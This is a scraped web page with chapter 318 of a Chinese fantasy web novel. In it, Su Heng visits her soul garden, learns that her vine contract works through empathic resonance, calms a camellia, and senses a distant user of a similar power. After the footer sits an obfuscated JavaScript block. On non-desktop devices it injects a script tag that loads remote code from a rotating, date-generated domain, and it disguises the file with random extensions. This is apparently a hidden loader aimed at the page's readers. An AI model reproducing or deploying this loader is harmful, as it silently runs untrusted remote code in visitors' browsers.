返回第318章 幽冥回响·契约共鸣  宋烨茹首页

关灯 护眼     字体:

上一章 目录 下一章

山风卷着湿冷的雾气扑在脸上,苏蘅扶着路边的老松树慢慢坐下,左腕的誓约印记仍在一跳一跳地疼,像有根细针在皮肤下挑动。

她低头看向掌心——那些银亮的藤网纹路比逃出密室时更淡了些,却像活物般在皮肤下蜿蜒,时而窜到指尖,时而缩回手腕,忽远忽近的触感让她太阳穴突突直跳。

“蘅姐,喝口热水。”白露蹲在她身侧,从怀里摸出个粗陶壶,壶身还带着体温。

小丫头的指尖泛着青白,后颈那道镇魂符的血痕已经结痂,边缘翘起细小的皮屑,“刚才在密室里,你藤网裂开的时候,我摸你脉搏都乱了。”

苏蘅接过陶壶,热水烫得虎口发疼,却让混沌的脑子清醒几分。

她想起幻境里那些扭曲的镜像,想起素衣女子裂开的脸下翻涌的藤蔓,更想起藤网断裂瞬间,共生之树在识海里低叹的那句“反噬越痛”。

喉头突然泛起腥甜,她猛地攥紧陶壶,指节发白:“得尽快稳定契约。”

“现在?”白露惊得差点碰翻陶壶,目光扫过四周的山雾,“这前不着村后不着店的,万一再有人”

“等不到回青竹村了。”苏蘅扯下腰间的帕子,蘸着山泉水擦了把脸。

冷水激得她眼眶发酸,却让思路愈发清晰——刚才藤网感应到镇北王府的气息时,她分明看见那些银线在地上织出半朵残梅的形状,和萧砚送她的那枚玉牌上的纹路如出一辙。“契约现在像被风吹乱的蛛网,我得在它彻底散架前”话没说完,她突然捂住左腕。

那些乱窜的藤网猛地收紧,在皮肤下勒出淡青色的痕迹,像在抗议她的拖延。

苏蘅深吸一口气,将陶壶塞回白露手里:“你守着,我要进灵魂花园。”

白露的手指瞬间扣住陶壶,指节泛白。

她望着苏蘅闭眼前那抹坚定的神色,又望了望四周被雾气浸透的山林,忽然扯下腰间的药囊系在苏蘅腕上:“这是我新配的醒神散,要是不对劲”

“我知道。”苏蘅覆住她冰凉的手背,轻轻捏了捏。意识沉入识海的刹那,山风的呼啸声突然远去。

苏蘅再睁眼时,已站在灵魂花园里。

这里还是记忆中的模样——青翠的草甸延伸向薄雾深处,远处的共生之树却不再是以往的深绿。

它的枝干上浮动着细碎的金光,像有万千星子嵌进了年轮,最顶端的枝桠间,一朵半开的金盏花正缓缓舒展花瓣,每片花瓣上都流转着藤网的银纹。

“你来了。”声音从头顶传来,像松涛漫过千年古木。

苏蘅仰头,看见共生之树的枝叶间浮出一道半透明的光影——那是树灵的形态,主干处隐约能看见和她左腕相似的藤网纹路,“契约的波动比我想象中更剧烈。”

“刚才在密室”

“不是幻境的错。”树灵的枝叶轻颤,一片金叶飘落在苏蘅脚边,“是你终于触到了契约的本质。”它的光影缓缓下沉,主干上的藤网突然亮起,在地面投出复杂的纹路,“你以为契约只是你操控藤网的工具?不,它是共鸣的桥梁。”

苏蘅盯着地面的纹路,忽然觉得那些银线像在呼吸。

她蹲下身,指尖刚要触碰,纹路突然扭曲成一条蛇的形状——红瞳,三角头,正是影蛇的模样。

“这是他留在藤网里的情绪。”树灵的声音沉了几分,“愤怒,不甘,还有”

“执念。”苏蘅脱口而出。

她盯着那团扭曲的影子,胸口突然泛起灼烧般的热意——那是影蛇在幻境里对她喊“我要你生不如死”时的情绪,是他被藤网刺穿时从眼底漫出的黑血里的不甘。

她下意识按住左腕,那里的藤网竟随着这股情绪轻轻颤动,“我能感觉到。”

“所以你该明白。”树灵的枝叶间又飘下一片花瓣,这次浮现的是青竹村的老槐树,“契约的根须扎进你灵魂的同时,也让你能触到所有与它相连的存在。植物的情绪,敌人的心绪,甚至”

“甚至什么?”树灵没有回答。

它的枝叶突然剧烈晃动,整片花园的雾气都翻涌起来。

苏蘅看见无数光影在雾中闪现——被偷挖的草药在尖叫,被砍断的柳枝在抽搐,还有那日在御苑枯梅树下,县主咳血时落在泥土里的血珠,正被梅树的根须贪婪地吸收。

“这些都是植物的记忆?”苏蘅屏住呼吸。

她看见自己第一次用藤网催熟野菊时,那株野菊绽放的瞬间,花瓣上凝着的露珠里映出她的脸;看见萧砚在青竹村外等她时,脚边的狗尾巴草因为他来回踱步的影子,被压出一片倒伏的痕迹。

“不。”树灵的声音突然变得很轻,“这是共鸣。你给它们回应,它们便给你回响。”它的主干上亮起更耀眼的金光,“现在,试着用藤网去‘听’。不是用耳朵,是用这里。”

一片花瓣轻轻落在苏蘅掌心。她盯着花瓣上浮现的影像——那是株叶子发黄的山茶花,根须被石块压得扭曲。

苏蘅闭上眼睛,按照树灵的指引,将意识顺着藤网延伸。刚开始什么都没有。她只觉得太阳穴涨得发疼,像有团乱麻堵在识海里。

直到那株山茶花的影像突然清晰起来,她听见了——不是声音,是一种闷闷的、带着刺痛的情绪。恐惧。山茶花在恐惧。它害怕根须腐烂,害怕无法开花,害怕被人拔掉扔去喂猪。

苏蘅的指尖微微发抖,她想起在青竹村时,自己总在雨后去看村头的老梨树,那时梨树的情绪是安心的,带着对果实的期待;而现在这株山茶花的情绪,像被泡在冰水里的针,扎得她心口发闷。

“安抚它。”树灵说。苏蘅深吸一口气。

她想起自己第一次用藤网治好了村东头王婶的毒疮,那时野菊在她掌心绽放时,她传递过去的不只是生长的力量,还有“我在”的安心。

她顺着藤网送出一缕清凉,像春风拂过花苞。山茶花的影像突然一颤。它发黄的叶子慢慢舒展,根须开始轻轻扭动,将压着它的石块一点一点顶开。

苏蘅睁开眼,发现掌心的花瓣上,山茶花已经开出了半朵粉白的花,花蕊上凝着颗晶莹的露珠。

“成功了?”她抬头看向树灵。

树灵的枝叶间溢出更多金光,那些细碎的星子落下来,落在她的发间、肩头。

苏蘅感觉左腕的藤网突然一暖,那些原本乱窜的银线终于安静下来,像被梳理整齐的丝线,顺着经脉延伸向四肢百骸。

“契约共鸣,本质是共情。”树灵的光影渐渐变淡,“你能感知到的,远不止植物的情绪。当敌人的藤网与你相连时”

“我能读取他们的心绪。”苏蘅接口。

她望着自己的掌心,那里的藤网纹路比之前更清晰了些,银亮的丝线在皮肤下流动,像活过来的小蛇。

意识抽离灵魂花园的瞬间,苏蘅听见树灵说:“去试试吧。”

山风重新灌进耳朵时,苏蘅发现自己出了一身冷汗。

白露正蹲在她脚边,手里攥着根烧得半焦的树枝,见她睁眼,立刻扑过来:“蘅姐!你刚才手腕上的藤网亮得跟火把似的,我”

“没事了。”苏蘅握住她的手。

这次她能清晰感觉到,那些藤网不再是无序的游丝,而是像被收进锦囊的线团,既温顺又蓄势待发。

她站起身,试着将藤网延伸向远处——

山脚下的灌木丛里,有三只野兔在啃食草根,它们的情绪是放松的,带着对春草的满足;半里外的溪涧边,几株野薄荷被山雀撞得东倒西歪,它们的情绪是懊恼的,夹杂着对山雀的无奈;再远些,有片松树林——

苏蘅的呼吸突然一滞。松树林里的情绪不是植物的。

那是种隐晦的、像被层层包裹的波动,带着熟悉的松木香和若有若无的铁锈味。

她顺着藤网再探,那波动突然清晰了些,像有人在远处轻轻叩了叩她的识海。

“蘅姐?”白露见她脸色骤变,忙扶住她胳膊,“怎么了?”苏蘅没有回答。

她望着镇北王府所在的方向,那里的山雾不知何时散了些,露出一线青灰色的天空。

左腕的藤网轻轻颤动,像在回应那道若有若无的共鸣。

“有人”她低声说,声音里带着连自己都没察觉的紧绷,“在用和我类似的契约之力。”

山风卷着松涛声掠过山梁,将她的话揉碎在风里。

白露顺着她的目光望去,只看见远处起伏的山影,和山影后若隐若现的云。但苏蘅知道。那道共鸣虽然微弱,却带着和萧砚身上相似的气息——是北疆雪松林里的老松枝,混着将士铠甲上的血锈,独一无二。

她轻轻按住左腕,那里的藤网正有节奏地跳动,像在应和远方的某个心跳。而这一次,她不再是被动的那一方了。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");